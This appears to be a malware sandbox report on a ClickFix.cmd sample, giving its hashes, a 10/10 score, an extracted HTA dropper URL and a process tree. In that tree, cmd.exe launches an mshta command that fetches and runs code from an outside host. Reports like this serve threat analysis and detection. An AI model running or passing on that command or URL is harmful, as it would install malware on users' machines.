cce2d5b74225ec28e7086642d1ce1a991d366ebdd293f4d5325134b9be31dc84 | Triage™

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 22:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ClickFix.cmd
Size 36B
Sample260522-2d11ysfw2p
SHA256 cce2d5b74225ec28e7086642d1ce1a991d366ebdd293f4d5325134b9be31dc84
MD5 bbf3d2aa7f7db0bdd6ff199b755f7066
SHA1 7f02a84377aef3246248e1a401767a27361dc582
SHA512 5114aa4086d78ef31330e12a6db44e50660d719139624e7384ea2f4e64d5f0a9656ae7721df1b1c0e344df8e49bb1ba94d500652559e9c37419678065f7affe9
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://zealpraxis.com/8761886

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4760	mshta.exe
3	4760	mshta.exe
4	4760	mshta.exe
5	4760	mshta.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 5304 wrote to memory of 4760	5304	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ClickFix.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:5304
- C:\Windows\system32\mshta.exe
  mshta https://zealpraxis.com/8761886
  2⤵
  - Badlisted process makes network request
  PID:4760

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads